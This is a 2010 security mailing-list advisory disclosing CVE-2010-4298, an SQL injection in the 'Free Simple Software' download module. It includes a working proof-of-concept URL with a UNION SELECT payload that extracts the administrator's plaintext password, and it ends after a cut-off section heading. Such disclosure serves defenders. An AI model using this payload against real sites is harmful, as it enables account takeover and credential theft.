Date: Sun, 21 Nov 2010 14:56:49 -0500 From: Mark Stanislav <mark.stanislav@...il.com> To: full-disclosure@...ts.grok.org.uk Cc: bugtraq@...urityfocus.com Subject: 'Free Simple Software' SQL Injection Vulnerability (CVE-2010-4298) 'Free Simple Software' SQL Injection Vulnerability (CVE-2010-4298) Mark Stanislav - mark.stanislav@...il.com I. DESCRIPTION --------------------------------------- A vulnerability exists in the 'Free Simple Software' download module which allows for a 'UNION SELECT' to easily expose the application administrator's plaintext password. II. TESTED VERSION --------------------------------------- 1.0 [Manual Install Version] III. PoC EXPLOIT --------------------------------------- http://site.com/index.php?page=downloads&request=download_now&downloads_id=' UNION SELECT email_address as name, NULL, NULL, password as file_name, last_name as file_url from admin_users where id!='NULL IV. NOTES --------------------------------------- * User passwords for this web application are not encrypted or hashed which makes this exploit even more concerning. * The PoC assumes that the first user is the administrative user which is the default behavior for the application. * At least 1 download must already exist to enable this exploit. * Due to a previous vulnerability not being fixed 3-months after disclosure (CVE-2010-3307), it's assumable that this application is not being actively developed. V. SOLUTION --------------------------------------- Do not utilize the download module. No patch/upgrade is available at this time. VI.
